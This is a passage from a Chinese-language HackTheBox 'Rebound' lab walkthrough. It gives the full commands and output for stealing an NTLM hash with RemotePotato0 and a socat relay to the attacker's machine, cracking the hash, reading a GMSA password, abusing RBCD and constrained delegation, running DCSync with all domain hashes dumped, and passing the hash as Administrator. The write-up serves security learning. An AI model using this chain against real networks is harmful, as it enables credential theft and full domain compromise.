Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion 
                                        
Info: Establishing connection to remote endpoint 
*Evil-WinRM* PS C:\Users\winrm_svc\Documents> type ../desktop/user.txt
ae638bc8320b5f01f163c48d23dc3e16

> 成功获取user.txt标志

*Evil-WinRM* PS C:\Users\winrm_svc\Documents>

查看当前进程

进程枚举目的：

  • 查找是否有其他用户登录（Session ID不为0）
  • 发现explorer.exe运行在Session ID 1 → 有用户在控制台登录
  • 可能可以窃取该用户的凭据
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
*Evil-WinRM* PS C:\Users\winrm_svc\Documents> get-process

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
    393      32    12724      21332              2916   0 certsrv
    466      19     2296       5548               388   0 csrss
    261      16     1940       5168               500   1 csrss
    359      15     3480      15016              5928   1 ctfmon
    396      33    16216      24540              3000   0 dfsrs
    189      13     2360       8160              2388   0 dfssvc
    284      14     3852      13800              4008   0 dllhost
   5384    4792    69020      70912              2084   0 dns
    603      25    24192      51892              1012   1 dwm
   1503      58    24128      89044              5480   1 explorer
     53       6     1776       5420              2876   1 fontdrvhost
     53       6     1512       4720              2884   0 fontdrvhost
      0       0       56          8                 0   0 Idle
    144      13     2172       5972              2256   0 ismserv
   2450     186    47656      65924               636   0 lsass
    490      35    51644      63380              2948   0 Microsoft.ActiveDirectory.WebServices
    254      13     2876      10800              4200   0 msdtc
    736      92   297752     319336              1952   0 MsMpEng
      0      13      424      10724                88   0 Registry
    236      13     2808      17192              5728   1 RuntimeBroker
    291      15     5396      16788              6256   1 RuntimeBroker
    230      12     2308      12932              6636   1 RuntimeBroker
    678      33    20432      73956              5832   1 SearchUI
    276      12     2828      12552              3764   0 SecurityHealthService
    625      14     5820      13492               624   0 services
    778      30    17012      60632              5900   1 ShellExperienceHost
    455      17     5044      25136              5588   1 sihost
     53       3      528       1220               308   0 smss
    287      13     4712      12180               324   0 svchost
    202      10     2048       9700               380   0 svchost
    216      12     1976      10124               392   0 svchost
    209      12     1668       7544               756   0 svchost
    135      16     3764       7980               768   0 svchost
    175       9     1660      11996               824   0 svchost
     89       5      880       3996               832   0 svchost
    919      20     6760      22280               852   0 svchost
    900      20     5196      12304               900   0 svchost
    242      13     3056      12788               936   0 svchost
    255      11     2000       7948               948   0 svchost
    211       9     1892       7400              1048   0 svchost
    395      13    13196      17484              1084   0 svchost
    248      13     2744       8924              1136   0 svchost
    469      19     3288      12312              1252   0 svchost
    370      18     4596      13144              1256   0 svchost
    275      16     2972      12340              1268   0 svchost
    403      32     6972      16496              1288   0 svchost
    138       8     1528       6460              1324   0 svchost
    248      12     2672      11952              1388   0 svchost
    440       9     2792       9268              1396   0 svchost
    148       7     1212       5920              1408   0 svchost
    370      17     4752      14500              1484   0 svchost
    173      11     1796       8416              1540   0 svchost
    336      10     2544       8828              1560   0 svchost
    316      13     2060       9140              1616   0 svchost
    268      13     2720       8328              1696   0 svchost
    168      12     1628       7532              1704   0 svchost
    191      12     1948      12208              1712   0 svchost
    160       8     1968       7484              1724   0 svchost
    395      15    11136      20840              1860   0 svchost
    221      10     2224       9420              1908   0 svchost
    145       9     1764       7108              1920   0 svchost
    221      12     2148       9508              2000   0 svchost
    138       9     1520       6760              2064   0 svchost
    243      25     3796      13340              2128   0 svchost
    152       9     1664       6940              2452   0 svchost
    207      11     2212       8656              2716   0 svchost
    145       7     1308       6000              2928   0 svchost
    457      20    17028      32060              3020   0 svchost
    277      20     3664      12844              3308   0 svchost
    178      11     2212      13776              3352   0 svchost
    128       7     1604       6436              3452   0 svchost
    223      12     2068       7768              3456   0 svchost
    169       9     2836       7672              3592   0 svchost
    188      15     6060      10336              3648   0 svchost
    312      20     9496      15420              4228   0 svchost
    319      17     5920      22412              4700   0 svchost
    406      26     3456      13412              4756   0 svchost
    118       8     1576       6288              4832   0 svchost
    173      11     2352      13316              5192   0 svchost
    227      12     2680      12996              5596   1 svchost
    388      19     6748      29244              5624   1 svchost
    205      11     2628      12024              5744   0 svchost
    172       9     1496       7540              5868   0 svchost
    166       9     3868      11988              5876   0 svchost
    254      14     2936      14008              6008   0 svchost
    304      15    12828      13948              6496   0 svchost
   1819       0      192        156                 4   0 System
    182      11     2232      11460              5680   1 taskhostw
    213      16     2460      11280              3792   0 vds
    172      11     2864      11612              2352   0 VGAuthService
    149       8     1796       7876              2580   0 vm3dservice
    150      10     1932       8400              3436   1 vm3dservice
    399      23     9856      23028              2424   0 vmtoolsd
    246      17     5108      15724              6956   1 vmtoolsd
    172      11     1376       7148               492   0 wininit
    285      12     2588      12812               556   1 winlogon
    388      20    10760      20804              3844   0 WmiPrvSE
    667      27    51900      67948       0.50   1668   0 wsmprovhost

> 关键发现：
> - explorer.exe进程的Session ID为1（通常Session 0是系统服务）
> - Session ID 1表示有交互式用户登录
> - dwm.exe、sihost.exe等桌面进程也运行在Session 1
> - 这意味着有用户通过控制台或RDP登录

发现explorer的Session ID是1，表明有人登录，上传RunasCs.exe进一步枚举登录用户

qwinsta是显示有关会话主机的信息的命令

RunasCs工具：

  • 可以以其他用户身份运行命令（类似runas）
  • -l 9: 以SYSTEM级别运行（最高权限）
  • qwinsta: Windows命令，查询会话信息
  • 目的：确认具体是哪个用户登录
1
2
3
4
5
6
7
8
9
10
11
12
13
*Evil-WinRM* PS C:\Users\winrm_svc\Documents> .\RunasCs.exe oorend '1GR8t@$$4u' -l 9 "qwinsta"

 SESSIONNAME       USERNAME                 ID  STATE   TYPE        DEVICE
>services                                    0  Disc
 console           tbrady                    1  Active

> 会话信息确认：
> - Session 0 (services): 系统服务会话
> - Session 1 (console): tbrady用户正在控制台登录，状态Active
> - tbrady是我们的下一个目标

*Evil-WinRM* PS C:\Users\winrm_svc\Documents>

那我们可以使用RemotePotato0来窃取tbrady的ntlm哈希。

RemotePotato0攻击原理：

  • 利用DCOM激活和NTLM中继
  • -m 2: 模式2，针对特定会话
  • -s 1: 目标Session ID 1（tbrady的会话）
  • 需要在本地设置socat中继RPC流量
  • 触发目标会话的COM对象创建，截获NTLM认证

先传好工具，本地设置好socat中继

socat配置：

  • 监听本地135端口（RPC Endpoint Mapper）
  • 将流量转发到目标的9999端口
  • fork,reuseaddr: 允许多个连接和端口重用
1
2
3
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# ./socat -v TCP-LISTEN:135,fork,reuseaddr TCP:10.129.232.31:9999

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
*Evil-WinRM* PS C:\Users\winrm_svc\Documents> upload /opt/RemotePotato0.exe
                                        
Info: Uploading /opt/RemotePotato0.exe to C:\Users\winrm_svc\Documents\RemotePotato0.exe 
                                        
Data: 235520 bytes of 235520 bytes copied 
                                        
Info: Upload successful! 
*Evil-WinRM* PS C:\Users\winrm_svc\Documents> ./RemotePotato0.exe -m 2 -x 10.10.15.116 -p 9999 -s 1
[*] Detected a Windows Server version not compatible with JuicyPotato. RogueOxidResolver must be run remotely. Remember to forward tcp port 135 on (null) to your victim machine on port 9999
[*] Example Network redirector:
	sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:{{ThisMachineIp}}:9999
[*] Starting the RPC server to capture the credentials hash from the user authentication!!
[*] Spawning COM object in the session: 1
[*] Calling StandardGetInstanceFromIStorage with CLSID:{5167B42F-C111-47A1-ACC4-8EABE61B0B54}
[*] RPC relay server listening on port 9997 ...
[*] Starting RogueOxidResolver RPC Server listening on port 9999 ...
[*] IStoragetrigger written: 106 bytes
[*] ServerAlive2 RPC Call
[*] ResolveOxid2 RPC call
[+] Received the relayed authentication on the RPC relay server on port 9997
[*] Connected to RPC Server 127.0.0.1 on port 9999
[+] User hash stolen!

NTLMv2 Client	: DC01
NTLMv2 Username	: rebound\tbrady
NTLMv2 Hash	: tbrady::rebound:f70fb46052f6d137:978608be5757d62cbc7fa26b065f7b1a:0101000000000000bf881e3c2e5bdd015a78c05a506f48710000000002000e007200650062006f0075006e006400010008004400430030003100040016007200650062006f0075006e0064002e006800740062000300200064006300300031002e007200650062006f0075006e0064002e00680074006200050016007200650062006f0075006e0064002e0068007400620007000800bf881e3c2e5bdd0106000400060000000800300030000000000000000100000000200000b047b49d76b9ea61e065276498021ea96cb742a19660e06c5a0f821a11cba2e10a00100000000000000000000000000000000000090000000000000000000000

> RemotePotato0攻击成功！
> - 在Session 1中触发COM对象创建
> - 截获tbrady的NTLM认证过程
> - 获取到NTLMv2哈希（Challenge-Response格式）
> - 这个哈希可以用于离线破解


破解hash，得到密码

使用John the Ripper破解NTLMv2哈希

密码：543BOMBOMBUNmanda

1
2
3
4
5
6
7
8
9
10
11
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# john hash.txt --wordlist=rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
543BOMBOMBUNmanda (tbrady)     
1g 0:00:00:03 DONE (2026-10-13 16:13) 0.2898g/s 3533Kp/s 3533Kc/s 3533KC/s 5449977..5435844
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.

BloodHound分析tbrady的权限：

  • tbrady对delegator$（机器账户）拥有ReadGMSAPassword权限
  • GMSA（Group Managed Service Account）：组托管服务账户
  • ReadGMSAPassword权限允许读取GMSA账户的密码

tbrady对该机器用户有ReadGMSAPassword，这里使用nxc

GMSA密码读取：

  • –gmsa参数：枚举并读取GMSA账户密码
  • GMSA密码由域控自动管理，定期轮换
  • 有ReadGMSAPassword权限的用户可以读取当前密码
1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# nxc ldap 10.129.232.31 -u tbrady -d rebound.htb -p '543BOMBOMBUNmanda' --gmsa
LDAP        10.129.232.31   389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:rebound.htb) (signing:Enforced) (channel binding:Always) 
LDAP        10.129.232.31   389    DC01             [+] rebound.htb\tbrady:543BOMBOMBUNmanda 
LDAP        10.129.232.31   389    DC01             [*] Getting GMSA Passwords
LDAP        10.129.232.31   389    DC01             Account: delegator$           NTLM: f04d2ea6c8cb54cbd12462006a25bf56     PrincipalsAllowedToReadPassword: tbrady

> 成功读取GMSA密码：
> - delegator$的NT哈希：f04d2ea6c8cb54cbd12462006a25bf56
> - PrincipalsAllowedToReadPassword: tbrady（确认tbrady有读取权限）

得到哈希。

BloodHound分析delegator$的权限：

  • delegator$对DC01$（域控机器账户）拥有AllowedToDelegate权限
  • 这是约束委派（Constrained Delegation）配置
  • 允许delegator$模拟用户访问DC01上的特定服务

进一步发现该机器账户对DC01有AllowedToDelegate权限

使用impacket-findDelegation查找委派配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(root?kaada)-[/home/kali/Desktop]
└─# impacket-findDelegation rebound.htb/delegator$ -hashes aad3b435b51404eeaad3b435b51404ee:f04d2ea6c8cb54cbd12462006a25bf56 -dc-ip 10.129.232.31
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

AccountName  AccountType                          DelegationType                       DelegationRightsTo     SPN Exists 
-----------  -----------------------------------  -----------------------------------  ---------------------  ----------
DC01$        Computer                             Unconstrained                        N/A                    Yes        
delegator$   ms-DS-Group-Managed-Service-Account  Constrained w/o Protocol Transition  http/dc01.rebound.htb  No         

> 委派配置分析：
> - DC01$：无约束委派（Unconstrained Delegation）- 域控默认配置
> - delegator$：约束委派，无协议转换（Constrained w/o Protocol Transition）
> * 只能委派到http/dc01.rebound.htb服务
> * 无协议转换意味着只能使用Kerberos认证（不能从NTLM转换）
> * SPN Exists: No - delegator$自己没有注册SPN



但是这里不能使用经典的getST，因为administrator没有被配置为允许 Kerberos 约束委派

约束委派限制：

  • Administrator账户标记为”Account is sensitive and cannot be delegated”
  • 这是一个安全设置，防止高权限账户被委派
  • 无法直接使用delegator$的约束委派模拟Administrator
  • 需要寻找其他攻击路径

不过这里可以使用KDC+RBCD的组合

攻击策略：资源型约束委派（RBCD）+ KDC欺骗

  • 思路：既然不能直接委派到Administrator，就换个角度
  • 利用RBCD让其他账户可以被模拟
  • 然后通过该账户的权限链接到DC01
  • 最终实现DCSync攻击

我们的目标选择之前控制的服务账户ldap_monitor

第一步用bloodyAD为该账户加上rbcd属性

RBCD配置：

  • 为ldap_monitor添加msDS-AllowedToActOnBehalfOfOtherIdentity属性
  • 允许delegator$代表其他用户模拟到ldap_monitor
  • 这是资源型约束委派（Resource-Based Constrained Delegation）
1
2
3
4
5
6
7
8
9
10
11
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# bloodyAD -d rebound.htb -u delegator$ -p aad3b435b51404eeaad3b435b51404ee:f04d2ea6c8cb54cbd12462006a25bf56 -H 10.129.232.31 add rbcd 'delegator$' 'ldap_monitor'   
[!] No security descriptor has been returned, a new one will be created
[+] ldap_monitor can now impersonate users on delegator$ via S4U2Proxy
[+] e.g. badS4U2proxy 'kerberos+nt://rebound.htb\delegator%24:f04d2ea6c8cb54cbd12462006a25bf56@10.129.232.31/?serverip=10.129.232.31' 'HOST/delegator$@rebound.htb' 'Administrator@rebound.htb'

> RBCD配置成功：
> - ldap_monitor现在可以通过S4U2Proxy模拟用户到delegator$
> - 这是RBCD的核心：资源（delegator$）信任委派方（ldap_monitor）

                                                                                                                                                                                               
1
2
3
4
5
6
7
8
9
10
11
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# impacket-findDelegation rebound.htb/delegator$ -hashes aad3b435b51404eeaad3b435b51404ee:f04d2ea6c8cb54cbd12462006a25bf56 -dc-ip 10.129.232.31
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

AccountName   AccountType                          DelegationType                       DelegationRightsTo     SPN Exists 

------------  -----------------------------------  -----------------------------------  ---------------------  ----------

DC01$         Computer                             Unconstrained                        N/A                    Yes        
ldap_monitor  Person                               Resource-Based Constrained           delegator$             No         
delegator$    ms-DS-Group-Managed-Service-Account  Constrained w/o Protocol Transition  http/dc01.rebound.htb  No

验证RBCD配置：

  • ldap_monitor现在显示为”Resource-Based Constrained”委派类型
  • DelegationRightsTo: delegator$ - 可以委派到delegator$
  • 现在形成了委派链：ldap_monitor → delegator$ → http/dc01.rebound.htb
1
2
3
4
5
6
7
8
9
10
11
12
13
14

现在 `ldap_monitor` 可以通过 `S4U2Proxy` 模拟 `delegator$` 上的任何用户

接着请求自服务票据

> S4U2Self + S4U2Proxy攻击流程：
> - S4U2Self：ldap_monitor代表dc01$请求访问自己的票据
> - S4U2Proxy：使用RBCD权限，将票据转换为访问delegator$的票据
> - 目标SPN：browser/dc01.rebound.htb（任意浏览器服务）
> - 为什么选dc01$：机器账户有DCSync权限


Service Principal Names:
browser/dc01.rebound.htb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# ntpdate rebound.htb                                                          
2026-10-13 16:35:43.416960 (+0000) +317.705164 +/- 0.038130 rebound.htb 10.129.232.31 s1 no-leap
CLOCK: time stepped by 317.705164

> 时间同步至关重要：
> - Kerberos对时间非常敏感（默认容差5分钟）
> - 时间偏差会导致票据被拒绝
> - 使用ntpdate同步到域控时间

                                                                                                                                                                                                                  
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# impacket-getTGT -dc-ip rebound.htb rebound.htb/ldap_monitor:'1GR8t@$$4u'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in ldap_monitor.ccache

> 第一步：获取ldap_monitor的TGT票据
> - 使用明文密码认证
> - 票据保存为ldap_monitor.ccache
> - 后续操作需要使用此票据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# impacket-getST rebound.htb/ldap_monitor -k -no-pass -dc-ip 10.129.232.31 -spn browser/dc01.rebound.htb -impersonate 'dc01$'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Impersonating dc01$
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in dc01$@browser_dc01.rebound.htb@REBOUND.HTB.ccache

> 第二步：S4U2Self + S4U2Proxy组合攻击
> - -k -no-pass: 使用Kerberos票据认证（从KRB5CCNAME环境变量）
> - -impersonate 'dc01$': 模拟域控机器账户
> - -spn browser/dc01.rebound.htb: 目标服务
> - S4U2self：ldap_monitor代表dc01$请求访问ldap_monitor自己的票据
> - S4U2Proxy：利用RBCD配置，将票据转换为dc01$访问delegator$的票据
> - 现在我们有了以dc01$身份访问delegator$的票据

接着用该票据请求机器账户DC01的票据

第三步：利用delegator$的约束委派

  • 现在以dc01$身份持有访问delegator$的票据
  • delegator$对http/dc01.rebound.htb有约束委派权限
  • 使用-additional-ticket参数提供dc01$的票据作为证据
  • 再次执行S4U2Proxy，将票据转换为dc01$访问http/dc01的票据
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# export KRB5CCNAME=dc01\$@browser_dc01.rebound.htb@REBOUND.HTB.ccache

> 设置环境变量，使用刚才获取的dc01$票据

                                                                                                                                                                                                                  
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# impacket-getST -spn "http/dc01.rebound.htb" -impersonate "dc01$" -additional-ticket "dc01\$@browser_dc01.rebound.htb@REBOUND.HTB.ccache" "rebound.htb/delegator$" -hashes :f04d2ea6c8cb54cbd12462006a25bf56 -k -no-pass
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Getting TGT for user
[*] Impersonating dc01$
[*] 	Using additional ticket dc01$@browser_dc01.rebound.htb@REBOUND.HTB.ccache instead of S4U2Self
[*] Requesting S4U2Proxy
[*] Saving ticket in dc01$@http_dc01.rebound.htb@REBOUND.HTB.ccache

> 关键的委派链跳转：
> - 使用delegator$的身份和凭据（NT哈希）
> - -additional-ticket: 提供dc01$访问delegator$的票据作为"证据"
> - -impersonate "dc01$": 继续模拟dc01$
> - -spn "http/dc01.rebound.htb": 目标是delegator$可以委派的SPN
> - 流程：利用delegator$的约束委派权限，将dc01$的身份委派到http/dc01服务
> - 结果：获得dc01$访问http/dc01.rebound.htb的服务票据
> - 为什么有效：dc01$是域控机器账户，有DCSync权限

接着使用该票据dump哈希

第四步：DCSync攻击

  • 使用dc01$的票据执行secretsdump
  • dc01$作为域控机器账户具有复制目录更改的权限
  • 可以通过DRS（Directory Replication Service）协议dump域数据库
1
export KRB5CCNAME=dc01\$@http_dc01.rebound.htb@REBOUND.HTB.ccache
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# impacket-secretsdump dc01.rebound.htb -k -no-pass
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:176be138594933bb67db3b2572fc91b8:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1108b27a9ff61ed4139d1443fbcf664b:::
ppaul:1951:aad3b435b51404eeaad3b435b51404ee:7785a4172e31e908159b0904e1153ec0:::
llune:2952:aad3b435b51404eeaad3b435b51404ee:e283977e2cbffafc0d6a6bd2a50ea680:::
fflock:3382:aad3b435b51404eeaad3b435b51404ee:1fc1d0f9c5ada600903200bc308f7981:::
jjones:5277:aad3b435b51404eeaad3b435b51404ee:e1ca2a386be17d4a7f938721ece7fef7:::
mmalone:5569:aad3b435b51404eeaad3b435b51404ee:87becdfa676275415836f7e3871eefa3:::
nnoon:5680:aad3b435b51404eeaad3b435b51404ee:f9a5317b1011878fc527848b6282cd6e:::
ldap_monitor:7681:aad3b435b51404eeaad3b435b51404ee:5af1ff64aac6100ea8fd2223b642d818:::
oorend:7682:aad3b435b51404eeaad3b435b51404ee:5af1ff64aac6100ea8fd2223b642d818:::
winrm_svc:7684:aad3b435b51404eeaad3b435b51404ee:4469650fd892e98933b4536d2e86e512:::
batch_runner:7685:aad3b435b51404eeaad3b435b51404ee:d8a34636c7180c5851c19d3e865814e0:::
tbrady:7686:aad3b435b51404eeaad3b435b51404ee:114e76d0be2f60bd75dc160ab3607215:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:989c1783900ffcb85de8d5ca4430c70f:::
delegator$:7687:aad3b435b51404eeaad3b435b51404ee:f04d2ea6c8cb54cbd12462006a25bf56:::

> DCSync攻击成功！
> - -k -no-pass: 使用Kerberos票据认证
> - DRSUAPI方法：通过目录复制服务协议获取NTDS.DIT数据
> - 成功dump所有域用户的NT哈希
> - 关键目标：Administrator的NT哈希 176be138594933bb67db3b2572fc91b8


[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:32fd2c37d71def86d7687c95c62395ffcbeaf13045d1779d6c0b95b056d5adb1
Administrator:aes128-cts-hmac-sha1-96:efc20229b67e032cba60e05a6c21431f
Administrator:des-cbc-md5:ad8ac2a825fe1080
krbtgt:aes256-cts-hmac-sha1-96:97d63bd13c99edc3e88d42e2e964246a556cced73db6a75219632cdf9a32e192
krbtgt:aes128-cts-hmac-sha1-96:3c2069c0e7aff8ccceddd9b4f533ab2d
krbtgt:des-cbc-md5:2ae5bfc82c7c46cb
ppaul:aes256-cts-hmac-sha1-96:121c70ec57e22ce2752027163d0f7482932d239609194cef652783bc1f1eb2ea
ppaul:aes128-cts-hmac-sha1-96:4ec3a78a5111ca282ab87692d51c4150
ppaul:des-cbc-md5:d354b098136ec726
llune:aes256-cts-hmac-sha1-96:7e8e0bd4dd39ccf4060ca780944c379d975dbd2d4c438db63b21614578ec6384
llune:aes128-cts-hmac-sha1-96:9a7afe8a130f2b9f44309c5c357df71b
llune:des-cbc-md5:a7d0b08310769ebc
fflock:aes256-cts-hmac-sha1-96:5edee5abe58354f436b85a1ea2855319effb6dfa8689fb42c6eaf91662cbf42e
fflock:aes128-cts-hmac-sha1-96:d1c5c3d0734a4c107c1ae0f2eaeb7927
fflock:des-cbc-md5:26b9b9044ca77373
jjones:aes256-cts-hmac-sha1-96:142d9a8b57934fd16ab2e91998279892de9a02e53663babe319c79eedcd29d91
jjones:aes128-cts-hmac-sha1-96:0d09e595b77fe71177925d645b085ee1
jjones:des-cbc-md5:43f8d93291526bda
mmalone:aes256-cts-hmac-sha1-96:b0c89ffdd5af3cc44a79d28d8b6b8735ed09d697ee6f1bc497008abb5a669fe2
mmalone:aes128-cts-hmac-sha1-96:0511a2d3d7214b21a367bc108f6b7ec7
mmalone:des-cbc-md5:23c2ba0be5e98525
nnoon:aes256-cts-hmac-sha1-96:347e911d23f4fb27d5d64dfbdd90ca6b1de7b345f3cafb89dc4b3a9b84508249
nnoon:aes128-cts-hmac-sha1-96:2479824ed08e2b6776483878e5260421
nnoon:des-cbc-md5:26070be583b00e2f
ldap_monitor:aes256-cts-hmac-sha1-96:f259e938b7fd99f96dd0f6dae29ed97d362091df468278556b77ede6d93306c7
ldap_monitor:aes128-cts-hmac-sha1-96:9974760e486e60edda8fa9a71f6fe5fc
ldap_monitor:des-cbc-md5:3b3d4632083e1361
oorend:aes256-cts-hmac-sha1-96:e8841ae154446f8571ac993b8ce989d14e5c31dc8dbfa00f7eb47652609e2048
oorend:aes128-cts-hmac-sha1-96:5f028e7498cadeb751342cfe73a8959a
oorend:des-cbc-md5:19a858d3973df716
winrm_svc:aes256-cts-hmac-sha1-96:886a948e85ab132a30e88c70bb56c3c5294b4f57708b480625af7ae12fc374a1
winrm_svc:aes128-cts-hmac-sha1-96:096f92b7f71828012f8e26f861d4254b
winrm_svc:des-cbc-md5:10894032252a6707
batch_runner:aes256-cts-hmac-sha1-96:b3c35b6d874a958fcce2d2609578097d570ab6eefbc313428c7b49ff9ff69dcb
batch_runner:aes128-cts-hmac-sha1-96:b1841a1db708b64f7395c6c77759b32e
batch_runner:des-cbc-md5:a7d5523dc80ec402
tbrady:aes256-cts-hmac-sha1-96:5c634afa0ffaf0ad3ac04fdd47ffd995362b17b6260172644f3723cfcd3d280f
tbrady:aes128-cts-hmac-sha1-96:a33995844f38022195e60c880e2c8efc
tbrady:des-cbc-md5:46fbdcc22c437fcd
DC01$:aes256-cts-hmac-sha1-96:5cfcef579e83b6b3f8d29dac49ed7b3ee9b43c129600ce55a7d915b7456198c0
DC01$:aes128-cts-hmac-sha1-96:73f487f2cfddcdf50dc5349c836e2ea6
DC01$:des-cbc-md5:0eba19c2f4081619
delegator$:aes256-cts-hmac-sha1-96:77dbfc17c18e73e3cede21b3e680c3c4b7d5e4283072403473aead7b234ef784
delegator$:aes128-cts-hmac-sha1-96:0491f28b01f17c61873cd9b67b26b00d
delegator$:des-cbc-md5:fdfefb7329daf4ef
[*] Cleaning up... 

> 还获取了所有账户的Kerberos密钥（AES256/AES128/DES）
> - 可用于Golden Ticket、Silver Ticket等高级攻击
> - krbtgt的密钥可以用于伪造任意域用户的票据

管理员登录，拿到rootflag

最后一步：Pass-the-Hash登录

  • 使用Administrator的NT哈希登录
  • 获得域管理员权限
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# evil-winrm -i 10.129.232.31 -u administrator -H 176be138594933bb67db3b2572fc91b8
                                        
Evil-WinRM shell v3.9 
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline 
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion 
                                        
Info: Establishing connection to remote endpoint 
*Evil-WinRM* PS C:\Users\Administrator\Documents> type ../desktop/root.txt
f242c4083e5c7fcf099594af4d05a313

> 成功获取root.txt标志！
> 攻击总结 - RBCD + KDC组合攻击链：
> 1. 初始访问：
> - AS-REP Roasting → jjones（无预认证）
> - 无密码Kerberoasting → ldap_monitor:1GR8t@$$4u
> 2. 横向移动：
> - 密码喷洒 → oorend（相同密码）
> - AddSelf权限 → 加入ServiceMgmt组
> - GenericAll权限 → 控制SERVICE USERS OU
> 3. 获取Shell：
> - 影子凭据攻击 → winrm_svc的NT哈希
> - Evil-WinRM登录 → user.txt
> 4. 权限提升：
> - RemotePotato0 → 窃取tbrady的NTLMv2
> - ReadGMSAPassword → delegator$的NT哈希
> 5. 域管提权（关键技巧）：
> - RBCD配置 → ldap_monitor可以模拟用户到delegator$
> - S4U2Self → ldap_monitor代表dc01$请求票据
> - S4U2Proxy (RBCD) → dc01$访问delegator$的票据
> - S4U2Proxy (约束委派) → dc01$访问http/dc01的票据
> - DCSync → dump所有域哈希
> - Pass-the-Hash → Administrator登录
> 核心技术点：
> - 资源型约束委派（RBCD）绕过"Account is sensitive"限制
> - 双层委派链：RBCD + 传统约束委派
> - 利用机器账户的DCSync权限
> - Kerberos票据的灵活转换和传递


*Evil-WinRM* PS C:\Users\Administrator\Documents>

#HTB
HackTheBox-Rebound
http://example.com/2026/10/13/HackTheBox-Rebound/
Author
Skyarrow
Posted on
October 13, 2026
Licensed under